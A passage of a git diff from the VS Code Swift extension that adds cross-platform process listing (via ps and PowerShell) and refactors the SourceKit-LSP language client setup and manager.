VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { Process, ProcessList } from "."; +import * as child_process from "child_process"; +import * as util from "util"; + +import { lineBreakRegex } from "../utilities/tasks"; + +const exec = util.promisify(child_process.execFile); + +/** Parses process information from a given line of process output. */ +export type ProcessListParser = (line: string) => Process | undefined; + +/** + * Implements common behavior between the different {@link ProcessList} implementations. + */ +export abstract class BaseProcessList implements ProcessList { + /** + * Get the command responsible for collecting all processes on the system. + */ + protected abstract getCommand(): string; + + /** + * Get the list of arguments used to launch the command. + */ + protected abstract getCommandArguments(): string[]; + + /** + * Create a new parser that can read the process information from stdout of the process + * spawned by {@link spawnProcess spawnProcess()}. + */ + protected abstract createParser(): ProcessListParser; + + async listAllProcesses(): Promise { + const execCommand = exec(this.getCommand(), this.getCommandArguments(), { + maxBuffer: 10 * 1024 * 1024, // Increase the max buffer size to 10Mb + }); + const parser = this.createParser(); + return (await execCommand).stdout.split(lineBreakRegex).flatMap(line => { + const process = parser(line.toString()); + if (!process || process.id === execCommand.child.pid) { + return []; + } + return [process]; + }); + } +} diff --git a/src/process-list/index.ts b/src/process-list/index.ts new file mode 100644 index 000000000..04af33aa2 --- /dev/null +++ b/src/process-list/index.ts @@ -0,0 +1,49 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { DarwinProcessList } from "./platforms/DarwinProcessList"; +import { LinuxProcessList } from "./platforms/LinuxProcessList"; +import { WindowsProcessList } from "./platforms/WindowsProcessList"; + +/** + * Represents a single process running on the system. + */ +export interface Process { + /** Process ID */ + id: number; + + /** Command that was used to start the process */ + command: string; + + /** The full command including arguments that was used to start the process */ + arguments: string; + + /** The date when the process was started */ + start: number; +} + +export interface ProcessList { + listAllProcesses(): Promise; +} + +/** Returns a {@link ProcessList} based on the current platform. */ +export function createProcessList(): ProcessList { + switch (process.platform) { + case "darwin": + return new DarwinProcessList(); + case "win32": + return new WindowsProcessList(); + default: + return new LinuxProcessList(); + } +} diff --git a/src/process-list/platforms/DarwinProcessList.ts b/src/process-list/platforms/DarwinProcessList.ts new file mode 100644 index 000000000..2b5890c10 --- /dev/null +++ b/src/process-list/platforms/DarwinProcessList.ts @@ -0,0 +1,24 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { LinuxProcessList } from "./LinuxProcessList"; + +export class DarwinProcessList extends LinuxProcessList { + protected override getCommandArguments(): string[] { + return [ + "-axo", + // The length of comm must be large enough or data will be truncated. + `pid=PID,state=STATE,lstart=START,comm=${"COMMAND".padEnd(256, "-")},args=ARGUMENTS`, + ]; + } +} diff --git a/src/process-list/platforms/LinuxProcessList.ts b/src/process-list/platforms/LinuxProcessList.ts new file mode 100644 index 000000000..31f359b85 --- /dev/null +++ b/src/process-list/platforms/LinuxProcessList.ts @@ -0,0 +1,64 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { BaseProcessList, ProcessListParser } from "../BaseProcessList"; + +export class LinuxProcessList extends BaseProcessList { + protected override getCommand(): string { + return "ps"; + } + + protected override getCommandArguments(): string[] { + return [ + "-axo", + // The length of exe must be large enough or data will be truncated. + `pid=PID,state=STATE,lstart=START,exe:128=COMMAND,args=ARGUMENTS`, + ]; + } + + protected override createParser(): ProcessListParser { + let commandOffset: number | undefined; + let argumentsOffset: number | undefined; + return line => { + if (!commandOffset || !argumentsOffset) { + commandOffset = line.indexOf("COMMAND"); + argumentsOffset = line.indexOf("ARGUMENTS"); + return; + } + + const pidAndState = /^\s*([0-9]+)\s+([a-zA-Z<>+]+)\s+/.exec(line); + if (!pidAndState) { + return; + } + + // Make sure the process isn't in a trace/debug or zombie state as we cannot attach to them + const state = pidAndState[2]; + if (state.includes("X") || state.includes("Z")) { + return; + } + + // ps will list "-" as the command if it does not know where the executable is located + const command = line.slice(commandOffset, argumentsOffset).trim(); + if (command === "-") { + return; + } + + return { + id: Number(pidAndState[1]), + command, + arguments: line.slice(argumentsOffset).trim(), + start: Date.parse(line.slice(pidAndState[0].length, commandOffset).trim()), + }; + }; + } +} diff --git a/src/process-list/platforms/WindowsProcessList.ts b/src/process-list/platforms/WindowsProcessList.ts new file mode 100644 index 000000000..9861b1ca5 --- /dev/null +++ b/src/process-list/platforms/WindowsProcessList.ts @@ -0,0 +1,60 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { BaseProcessList, ProcessListParser } from "../BaseProcessList"; + +export class WindowsProcessList extends BaseProcessList { + protected override getCommand(): string { + return "PowerShell"; + } + + protected override getCommandArguments(): string[] { + return [ + "-Command", + 'Get-CimInstance -ClassName Win32_Process | Format-Table ProcessId, @{Label="CreationDate";Expression={"{0:yyyyMddHHmmss}" -f $_.CreationDate}}, CommandLine | Out-String -width 9999', + ]; + } + + protected override createParser(): ProcessListParser { + const lineRegex = /^([0-9]+)\s+([0-9]+)\s+(.*)$/; + + return line => { + const matches = lineRegex.exec(line.trim()); + if (!matches || matches.length !== 4) { + return; + } + + const id = Number(matches[1]); + const start = Number(matches[2]); + const fullCommandLine = matches[3].trim(); + if (isNaN(id) || !fullCommandLine) { + return; + } + // Extract the command from the full command line + let command = fullCommandLine; + if (fullCommandLine[0] === '"') { + const end = fullCommandLine.indexOf('"', 1); + if (end > 0) { + command = fullCommandLine.slice(1, end); + } + } else { + const end = fullCommandLine.indexOf(" "); + if (end > 0) { + command = fullCommandLine.slice(0, end); + } + } + + return { id, command, arguments: fullCommandLine, start }; + }; + } +} diff --git a/src/sourcekit-lsp/LSPOutputChannel.ts b/src/sourcekit-lsp/LSPOutputChannel.ts new file mode 100644 index 000000000..52ef8d4d3 --- /dev/null +++ b/src/sourcekit-lsp/LSPOutputChannel.ts @@ -0,0 +1,73 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +export interface LSPLogger { + debug(message: string): void; + info(message: string): void; + warn(message: string): void; + error(message: string): void; +} + +export class LSPOutputChannel implements LSPLogger { + private _channel: vscode.OutputChannel | undefined; + + constructor( + private name: string, + private includeLogLevel: boolean = true, + private includeTimestamp: boolean = true + ) {} + + private get channel(): vscode.OutputChannel { + if (!this._channel) { + this._channel = vscode.window.createOutputChannel(this.name); + } + return this._channel; + } + + dispose() { + this._channel?.dispose(); + this._channel = undefined; + } + + debug(message: string) { + this.logOutputMessage("Debug", message); + } + + info(message: string) { + this.logOutputMessage("Info", message); + } + + warn(message: string) { + this.logOutputMessage("Warn", message); + } + + error(message: string) { + this.logOutputMessage("Error", message); + } + + logOutputMessage(logLevel: string, message: string) { + let formatted = ""; + if (this.includeLogLevel) { + formatted = (formatted || "[") + logLevel.padEnd(5); + } + if (this.includeTimestamp) { + formatted += formatted ? " - " : "["; + formatted += new Date().toLocaleTimeString(); + } + formatted += formatted ? "] " : " "; + formatted += message; + this.channel.appendLine(formatted); + } +} diff --git a/src/sourcekit-lsp/LanguageClientConfiguration.ts b/src/sourcekit-lsp/LanguageClientConfiguration.ts new file mode 100644 index 000000000..7a08b060b --- /dev/null +++ b/src/sourcekit-lsp/LanguageClientConfiguration.ts @@ -0,0 +1,338 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; +import * as vscode from "vscode"; +import { + DocumentSelector, + LanguageClientOptions, + RevealOutputChannelOn, + vsdiag, +} from "vscode-languageclient"; + +import { DiagnosticsManager } from "../DiagnosticsManager"; +import { WorkspaceContext } from "../WorkspaceContext"; +import { promptForDiagnostics } from "../commands/captureDiagnostics"; +import configuration from "../configuration"; +import { Version } from "../utilities/version"; +import { SourceKitLSPErrorHandler } from "./LanguageClientManager"; +import { LSPActiveDocumentManager } from "./didChangeActiveDocument"; +import { uriConverters } from "./uriConverters"; + +/* eslint-disable @typescript-eslint/no-explicit-any */ +function initializationOptions(swiftVersion: Version): any { + let options: any = { + "textDocument/codeLens": { + supportedCommands: { + "swift.run": "swift.run", + "swift.debug": "swift.debug", + }, + }, + }; + + // Swift 6.3 changed the value to enable experimental client capabilities from `true` to `{ "supported": true }` + // (https://github.com/swiftlang/sourcekit-lsp/pull/2204) + if (swiftVersion.isGreaterThanOrEqual(new Version(6, 3, 0))) { + options = { + "workspace/peekDocuments": { + supported: true, // workaround for client capability to handle `PeekDocumentsRequest` + peekLocation: true, // allow SourceKit-LSP to send `Location` instead of `DocumentUri` for the locations to peek. + }, + "workspace/getReferenceDocument": { + supported: true, // the client can handle URIs with scheme `sourcekit-lsp:` + }, + }; + } else { + options = { + ...options, + "workspace/peekDocuments": true, // workaround for client capability to handle `PeekDocumentsRequest` + "workspace/getReferenceDocument": true, // the client can handle URIs with scheme `sourcekit-lsp:` + }; + } + + // Swift 6.0.0 and later supports background indexing. + // In 6.0.0 it is experimental so only "true" enables it. + // In 6.1.0 it is no longer experimental, and so "auto" or "true" enables it. + if ( + swiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0)) && + (configuration.backgroundIndexing === "on" || + (configuration.backgroundIndexing === "auto" && + swiftVersion.isGreaterThanOrEqual(new Version(6, 1, 0)))) + ) { + options = { + ...options, + backgroundIndexing: true, + backgroundPreparationMode: "enabled", + }; + } + + if (swiftVersion.isGreaterThanOrEqual(new Version(6, 3, 0))) { + options = { + ...options, + "window/didChangeActiveDocument": { + supported: true, // the client can send `window/didChangeActiveDocument` notifications + }, + }; + } else if (swiftVersion.isGreaterThanOrEqual(new Version(6, 1, 0))) { + options = { + ...options, + "window/didChangeActiveDocument": true, // the client can send `window/didChangeActiveDocument` notifications + }; + } + + if (configuration.swiftSDK !== "") { + options = { + ...options, + swiftPM: { swiftSDK: configuration.swiftSDK }, + }; + } + + return options; +} +/* eslint-enable @typescript-eslint/no-explicit-any */ + +type SourceKitDocumentSelector = { + scheme: string; + language: string; + pattern?: string; +}[]; + +export class LanguagerClientDocumentSelectors { + static appleLangDocumentSelector: SourceKitDocumentSelector = [ + { scheme: "sourcekit-lsp", language: "swift" }, + { scheme: "file", language: "swift" }, + { scheme: "untitled", language: "swift" }, + { scheme: "file", language: "objective-c" }, + { scheme: "untitled", language: "objective-c" }, + { scheme: "file", language: "objective-cpp" }, + { scheme: "untitled", language: "objective-cpp" }, + ]; + + static cFamilyDocumentSelector: SourceKitDocumentSelector = [ + { scheme: "file", language: "c" }, + { scheme: "untitled", language: "c" }, + { scheme: "file", language: "cpp" }, + { scheme: "untitled", language: "cpp" }, + ]; + + // document selector for swift-docc documentation + static documentationDocumentSelector: SourceKitDocumentSelector = [ + { scheme: "file", language: "markdown" }, + { scheme: "untitled", language: "markdown" }, + { scheme: "file", language: "tutorial" }, + { scheme: "untitiled", language: "tutorial" }, + ]; + + static miscelaneousDocumentSelector: SourceKitDocumentSelector = [ + { scheme: "file", language: "plaintext", pattern: "**/.swift-version" }, + ]; + + static sourcekitLSPDocumentTypes(): DocumentSelector { + let documentSelector: SourceKitDocumentSelector; + switch (configuration.lsp.supportCFamily) { + case "enable": + documentSelector = [ + ...LanguagerClientDocumentSelectors.appleLangDocumentSelector, + ...LanguagerClientDocumentSelectors.cFamilyDocumentSelector, + ]; + break; + + case "disable": + documentSelector = LanguagerClientDocumentSelectors.appleLangDocumentSelector; + break; + + case "cpptools-inactive": { + const cppToolsActive = + vscode.extensions.getExtension("ms-vscode.cpptools")?.isActive; + documentSelector = + cppToolsActive === true + ? LanguagerClientDocumentSelectors.appleLangDocumentSelector + : [ + ...LanguagerClientDocumentSelectors.appleLangDocumentSelector, + ...LanguagerClientDocumentSelectors.cFamilyDocumentSelector, + ]; + } + } + documentSelector = documentSelector.filter(doc => { + return configuration.lsp.supportedLanguages.includes(doc.language); + }); + documentSelector.push(...LanguagerClientDocumentSelectors.documentationDocumentSelector); + return documentSelector; + } + + static allHandledDocumentTypes(): DocumentSelector { + return [ + ...this.sourcekitLSPDocumentTypes(), + ...LanguagerClientDocumentSelectors.miscelaneousDocumentSelector, + ]; + } +} + +function addParameterHintsCommandsIfNeeded( + items: vscode.CompletionItem[], + documentUri: vscode.Uri +): vscode.CompletionItem[] { + if (!configuration.parameterHintsEnabled(documentUri)) { + return items; + } + + return items.map(item => { + switch (item.kind) { + case vscode.CompletionItemKind.Function: + case vscode.CompletionItemKind.Method: + case vscode.CompletionItemKind.Constructor: + case vscode.CompletionItemKind.EnumMember: + return { + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + ...item, + }; + default: + return item; + } + }); +} + +export function lspClientOptions( + swiftVersion: Version, + workspaceContext: WorkspaceContext, + workspaceFolder: vscode.WorkspaceFolder | undefined, + activeDocumentManager: LSPActiveDocumentManager, + errorHandler: SourceKitLSPErrorHandler, + documentSymbolWatcher?: ( + document: vscode.TextDocument, + symbols: vscode.DocumentSymbol[] + ) => void +): LanguageClientOptions { + return { + documentSelector: LanguagerClientDocumentSelectors.sourcekitLSPDocumentTypes(), + revealOutputChannelOn: RevealOutputChannelOn.Never, + workspaceFolder, + outputChannel: workspaceContext.loggerFactory.create( + `SourceKit Language Server (${swiftVersion.toString()})`, + `sourcekit-lsp-${swiftVersion.toString()}.log`, + { outputChannel: true } + ), + middleware: { + didOpen: activeDocumentManager.didOpen.bind(activeDocumentManager), + didClose: activeDocumentManager.didClose.bind(activeDocumentManager), + provideCompletionItem: async (document, position, context, token, next) => { + const result = await next(document, position, context, token); + + if (!result) { + return result; + } + + if (Array.isArray(result)) { + return addParameterHintsCommandsIfNeeded(result, document.uri); + } + + return { + ...result, + items: addParameterHintsCommandsIfNeeded(result.items, document.uri), + }; + }, + provideCodeLenses: async (document, token, next) => { + const result = await next(document, token); + return result?.map(codelens => { + switch (codelens.command?.command) { + case "swift.run": + codelens.command.title = `$(play)\u00A0${codelens.command.title}`; + break; + case "swift.debug": + codelens.command.title = `$(debug)\u00A0${codelens.command.title}`; + break; + } + return codelens; + }); + }, + provideDocumentSymbols: async (document, token, next) => { + const result = await next(document, token); + const documentSymbols = result as vscode.DocumentSymbol[]; + if (documentSymbolWatcher && documentSymbols) { + documentSymbolWatcher(document, documentSymbols); + } + return result; + }, + provideDefinition: async (document, position, token, next) => { + const result = await next(document, position, token); + const definitions = result as vscode.Location[]; + if ( + definitions && + path.extname(definitions[0].uri.path) === ".swiftinterface" && + definitions[0].uri.scheme === "file" + ) { + const uri = definitions[0].uri.with({ scheme: "readonly" }); + return new vscode.Location(uri, definitions[0].range); + } + return result; + }, + // temporarily remove text edit from Inlay hints while SourceKit-LSP + // returns invalid replacement text + provideInlayHints: async (document, position, token, next) => { + const result = await next(document, position, token); + // remove textEdits for swift version earlier than 5.10 as it sometimes + // generated invalid textEdits + if (swiftVersion.isLessThan(new Version(5, 10, 0))) { + result?.forEach(r => (r.textEdits = undefined)); + } + return result; + }, + provideDiagnostics: async (uri, previousResultId, token, next) => { + const result = await next(uri, previousResultId, token); + if (result?.kind === vsdiag.DocumentDiagnosticReportKind.unChanged) { + return undefined; + } + const document = uri as vscode.TextDocument; + workspaceContext.diagnostics.handleDiagnostics( + document.uri ?? uri, + DiagnosticsManager.isSourcekit, + result?.items ?? [] + ); + return undefined; + }, + handleDiagnostics: (uri, diagnostics) => { + workspaceContext.diagnostics.handleDiagnostics( + uri, + DiagnosticsManager.isSourcekit, + diagnostics + ); + }, + handleWorkDoneProgress: (() => { + let lastPrompted = new Date(0).getTime(); + return async (token, params, next) => { + const result = next(token, params); + const now = new Date().getTime(); + const oneHour = 60 * 60 * 1000; + if ( + now - lastPrompted > oneHour && + token.toString().startsWith("sourcekitd-crashed") + ) { + // Only prompt once an hour in case sourcekit is in a crash loop + lastPrompted = now; + void promptForDiagnostics(workspaceContext); + } + return result; + }; + })(), + }, + uriConverters, + errorHandler, + // Avoid attempting to reinitialize multiple times. If we fail to initialize + // we aren't doing anything different the second time and so will fail again. + initializationFailedHandler: () => false, + initializationOptions: initializationOptions(swiftVersion), + }; +} diff --git a/src/sourcekit-lsp/LanguageClientFactory.ts b/src/sourcekit-lsp/LanguageClientFactory.ts new file mode 100644 index 000000000..3dc9981a7 --- /dev/null +++ b/src/sourcekit-lsp/LanguageClientFactory.ts @@ -0,0 +1,40 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { LanguageClient, LanguageClientOptions, ServerOptions } from "vscode-languageclient/node"; + +/** + * Used to create a {@link LanguageClient} for use in VS Code. + * + * This is primarily used to make unit testing easier so that we don't have to + * mock out a constructor in the `vscode-languageclient` module. + */ +export class LanguageClientFactory { + /** + * Create a new {@link LanguageClient} for use in VS Code. + * + * @param name the human-readable name for the client + * @param id the identifier for the client (used in settings) + * @param serverOptions the {@link ServerOptions} + * @param clientOptions the {@link LanguageClientOptions} + * @returns the newly created {@link LanguageClient} + */ + createLanguageClient( + name: string, + id: string, + serverOptions: ServerOptions, + clientOptions: LanguageClientOptions + ): LanguageClient { + return new LanguageClient(name, id, serverOptions, clientOptions); + } +} diff --git a/src/sourcekit-lsp/LanguageClientManager.ts b/src/sourcekit-lsp/LanguageClientManager.ts index ab730d59c..13ec7d139 100644 --- a/src/sourcekit-lsp/LanguageClientManager.ts +++ b/src/sourcekit-lsp/LanguageClientManager.ts @@ -1,55 +1,71 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021-2024 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import * as langclient from "vscode-languageclient/node"; -import configuration from "../configuration"; import { - ArgumentFilter, - filterArguments, - getSwiftExecutable, - isPathInsidePath, - swiftDriverSDKFlags, - buildPathFlags, - swiftRuntimeEnv, -} from "../utilities/utilities"; + CloseAction, + CloseHandlerResult, + DidChangeWorkspaceFoldersNotification, + ErrorAction, + ErrorHandler, + ErrorHandlerResult, + LanguageClientOptions, + Message, + MessageType, + State, +} from "vscode-languageclient"; +import { Executable, LanguageClient, ServerOptions } from "vscode-languageclient/node"; + +import { FolderContext } from "../FolderContext"; +import configuration from "../configuration"; +import { SwiftOutputChannel } from "../logging/SwiftOutputChannel"; +import { ArgumentFilter, BuildFlags } from "../toolchain/BuildFlags"; +import { swiftRuntimeEnv } from "../utilities/utilities"; import { Version } from "../utilities/version"; -import { FolderEvent, WorkspaceContext } from "../WorkspaceContext"; +import { LSPLogger, LSPOutputChannel } from "./LSPOutputChannel"; +import { lspClientOptions } from "./LanguageClientConfiguration"; +import { LanguageClientFactory } from "./LanguageClientFactory"; +import { LSPActiveDocumentManager } from "./didChangeActiveDocument"; +import { SourceKitLogMessageNotification, SourceKitLogMessageParams } from "./extensions"; +import { DidChangeActiveDocumentNotification } from "./extensions/DidChangeActiveDocumentRequest"; +import { PollIndexRequest, WorkspaceSynchronizeRequest } from "./extensions/PollIndexRequest"; +import { activateGetReferenceDocument } from "./getReferenceDocument"; import { activateLegacyInlayHints } from "./inlayHints"; -import { FolderContext } from "../FolderContext"; -import { LanguageClient } from "vscode-languageclient/node"; +import { activatePeekDocuments } from "./peekDocuments"; -/** Manages the creation and destruction of Language clients as we move between +interface LanguageClientManageOptions { + /** + * Options for the LanguageClientManager + */ + onDocumentSymbols?: ( + folder: FolderContext, + document: vscode.TextDocument, + symbols: vscode.DocumentSymbol[] | null | undefined + ) => void; +} + +/** + * Manages the creation and destruction of Language clients as we move between * workspace folders */ -export class LanguageClientManager { - // document selector used by language client - static documentSelector = [ - { scheme: "file", language: "swift" }, - { scheme: "untitled", language: "swift" }, - { scheme: "file", language: "c" }, - { scheme: "untitled", language: "c" }, - { scheme: "file", language: "cpp" }, - { scheme: "untitled", language: "cpp" }, - { scheme: "file", language: "objective-c" }, - { scheme: "untitled", language: "objective-c" }, - { scheme: "file", language: "objective-cpp" }, - { scheme: "untitled", language: "objective-cpp" }, - ]; +export class LanguageClientManager implements vscode.Disposable { + // known log names + static indexingLogName = "SourceKit-LSP: Indexing"; + // build argument to sourcekit-lsp filter static buildArgumentFilter: ArgumentFilter[] = [ { argument: "--build-path", include: 1 }, + { argument: "--scratch-path", include: 1 }, { argument: "-Xswiftc", include: 1 }, { argument: "-Xcc", include: 1 }, { argument: "-Xcxx", include: 1 }, @@ -64,95 +80,102 @@ export class LanguageClientManager { * undefined means not setup * null means in the process of restarting */ - private languageClient: langclient.LanguageClient | null | undefined; + private languageClient: LanguageClient | null | undefined; private cancellationToken?: vscode.CancellationTokenSource; private legacyInlayHints?: vscode.Disposable; + private peekDocuments?: vscode.Disposable; + private getReferenceDocument?: vscode.Disposable; + private didChangeActiveDocument?: vscode.Disposable; private restartedPromise?: Promise; - private currentWorkspaceFolder?: vscode.Uri; + private currentWorkspaceFolder?: FolderContext; private waitingOnRestartCount: number; private clientReadyPromise?: Promise; public documentSymbolWatcher?: ( document: vscode.TextDocument, symbols: vscode.DocumentSymbol[] | null | undefined ) => void; - private subscriptions: { dispose(): unknown }[]; + private subscriptions: vscode.Disposable[]; private singleServerSupport: boolean; // used by single server support to keep a record of the project folders // that are not at the root of their workspace - private subFolderWorkspaces: vscode.Uri[]; + public subFolderWorkspaces: FolderContext[] = []; + private addedFolders: FolderContext[] = []; + private namedOutputChannels: Map = new Map(); + private swiftVersion: Version; + private activeDocumentManager = new LSPActiveDocumentManager(); - constructor(public workspaceContext: WorkspaceContext) { - this.singleServerSupport = workspaceContext.swiftVersion >= new Version(5, 7, 0); + /** Get the current state of the underlying LanguageClient */ + public get state(): State { + if (!this.languageClient) { + return State.Stopped; + } + return this.languageClient.state; + } + + constructor( + public folderContext: FolderContext, + private options: LanguageClientManageOptions = {}, + private languageClientFactory: LanguageClientFactory = new LanguageClientFactory() + ) { + this.namedOutputChannels.set( + LanguageClientManager.indexingLogName, + new LSPOutputChannel(LanguageClientManager.indexingLogName, false, true) + ); + this.swiftVersion = folderContext.swiftVersion; + this.singleServerSupport = this.swiftVersion.isGreaterThanOrEqual(new Version(5, 7, 0)); this.subscriptions = []; - this.subFolderWorkspaces = []; - if (this.singleServerSupport) { - // add/remove folders from server - const observeFoldersDisposable = workspaceContext.observeFolders( - async (folderContext, event) => { - if (!folderContext) { + + // on change config restart server + const onChangeConfig = vscode.workspace.onDidChangeConfiguration(event => { + if (!event.affectsConfiguration("swift.sourcekit-lsp")) { + return; + } + let message = + "Changing SourceKit-LSP settings requires the language server be restarted. Would you like to restart it now?"; + let restartLSPButton = "Restart Language Server"; + // Enabling/Disabling sourcekit-lsp shows a special notification + if (event.affectsConfiguration("swift.sourcekit-lsp.disable")) { + if (configuration.lsp.disable) { + if (this.state === State.Stopped) { + // Language client is already stopped return; } - switch (event) { - case FolderEvent.add: - this.addFolder(folderContext); - break; - case FolderEvent.remove: - this.removeFolder(folderContext); - break; - } - } - ); - this.subscriptions.push(observeFoldersDisposable); - this.setLanguageClientFolder(undefined); - } else { - // stop and start server for each folder based on which file I am looking at - const observeFoldersDisposable = workspaceContext.observeFolders( - async (folderContext, event) => { - switch (event) { - case FolderEvent.add: - if (folderContext && folderContext.folder) { - // if active document is inside folder then setup language client - if (this.isActiveFileInFolder(folderContext.folder)) { - await this.setLanguageClientFolder(folderContext.folder); - } - } - break; - case FolderEvent.focus: - await this.setLanguageClientFolder(folderContext?.folder); - break; + message = `You have disabled the Swift language server, but it is still running. Would you like to stop it now? + This will turn off features such as code completion, error diagnostics, jump-to-definition, and test discovery.`; + restartLSPButton = "Stop Language Server"; + } else { + if (this.state !== State.Stopped) { + // Langauge client is already running + return; } + message = + "You have enabled the Swift language server. Would you like to start it now?"; + restartLSPButton = "Start Language Server"; } - ); - this.subscriptions.push(observeFoldersDisposable); - } - // on change config restart server - const onChangeConfig = vscode.workspace.onDidChangeConfiguration(event => { - if (event.affectsConfiguration("sourcekit-lsp.serverPath")) { - vscode.window - .showInformationMessage( - "Changing LSP server path requires the language server be restarted.", - "Ok" - ) - .then(selected => { - if (selected === "Ok") { - this.restart(); - } - }); + } else if (configuration.lsp.disable && this.state === State.Stopped) { + // Ignore configuration changes if SourceKit-LSP is disabled + return; } + void vscode.window.showInformationMessage(message, restartLSPButton).then(selected => { + if (selected === restartLSPButton) { + void this.restart(); + } + }); }); + this.subscriptions.push(onChangeConfig); // Swift versions prior to 5.6 don't support file changes, so need to restart // lSP server when a file is either created or deleted - if (workspaceContext.swiftVersion < new Version(5, 6, 0)) { - workspaceContext.outputChannel.logDiagnostic("LSP: Adding new/delete file handlers"); + if (this.swiftVersion.isLessThan(new Version(5, 6, 0))) { + folderContext.workspaceContext.logger.debug("LSP: Adding new/delete file handlers"); // restart LSP server on creation of a new file const onDidCreateFileDisposable = vscode.workspace.onDidCreateFiles(() => { - this.restart(); + void this.restart(); }); // restart LSP server on deletion of a file const onDidDeleteFileDisposable = vscode.workspace.onDidDeleteFiles(() => { - this.restart(); + void this.restart(); }); this.subscriptions.push(onDidCreateFileDisposable, onDidDeleteFileDisposable); } @@ -162,17 +185,25 @@ export class LanguageClientManager { this.cancellationToken = new vscode.CancellationTokenSource(); } + // The language client stops asnyhronously, so we need to wait for it to stop + // instead of doing it in dispose, which must be synchronous. + async stop(dispose: boolean = true) { + if (this.languageClient && this.languageClient.state === State.Running) { + await this.languageClient.stop(15000); + if (dispose) { + await this.languageClient.dispose(); + } + } + } + dispose() { this.cancellationToken?.cancel(); this.cancellationToken?.dispose(); this.legacyInlayHints?.dispose(); + this.peekDocuments?.dispose(); + this.getReferenceDocument?.dispose(); this.subscriptions.forEach(item => item.dispose()); - this.languageClient?.stop(); - } - - /** workspace folder of current client */ - get workspaceFolder(): vscode.Uri | undefined { - return this.languageClient?.clientOptions?.workspaceFolder?.uri; + this.namedOutputChannels.forEach(channel => channel.dispose()); } /** @@ -183,108 +214,131 @@ export class LanguageClientManager { * @returns result of process */ async useLanguageClient(process: { - (client: langclient.LanguageClient, cancellationToken: vscode.CancellationToken): Return; - }) { - if (!this.languageClient) { - throw LanguageClientError.LanguageClientUnavailable; + (client: LanguageClient, cancellationToken: vscode.CancellationToken): Promise; + }): Promise { + if (!this.languageClient || !this.clientReadyPromise) { + throw new Error(LanguageClientError.LanguageClientUnavailable); } - return await this.clientReadyPromise?.then(() => { - if (!this.languageClient || !this.cancellationToken) { - throw LanguageClientError.LanguageClientUnavailable; - } - return process(this.languageClient, this.cancellationToken.token); - }); + return this.clientReadyPromise.then( + () => { + if (!this.languageClient || !this.cancellationToken) { + throw new Error(LanguageClientError.LanguageClientUnavailable); + } + return process(this.languageClient, this.cancellationToken.token); + }, + reason => reason + ); } /** Restart language client */ async restart() { // force restart of language client - await this.setLanguageClientFolder(this.currentWorkspaceFolder, true); + await this.setLanguageClientFolder(this.folderContext, true); } - private async addFolder(folderContext: FolderContext) { + get languageClientOutputChannel(): SwiftOutputChannel | undefined { + return this.languageClient?.outputChannel as SwiftOutputChannel | undefined; + } + + async addFolder(folderContext: FolderContext) { if (!folderContext.isRootFolder) { - this.useLanguageClient(async client => { - const uri = folderContext.folder; - this.subFolderWorkspaces.push(folderContext.folder); + await this.useLanguageClient(async client => { + this.subFolderWorkspaces.push(folderContext); + const uri = folderContext.folder; const workspaceFolder = { uri: client.code2ProtocolConverter.asUri(uri), name: FolderContext.uriName(uri), }; - client.sendNotification(langclient.DidChangeWorkspaceFoldersNotification.type, { + await client.sendNotification(DidChangeWorkspaceFoldersNotification.type, { event: { added: [workspaceFolder], removed: [] }, }); }); } + this.addedFolders.push(folderContext); } - private async removeFolder(folderContext: FolderContext) { + async removeFolder(folderContext: FolderContext) { if (!folderContext.isRootFolder) { - 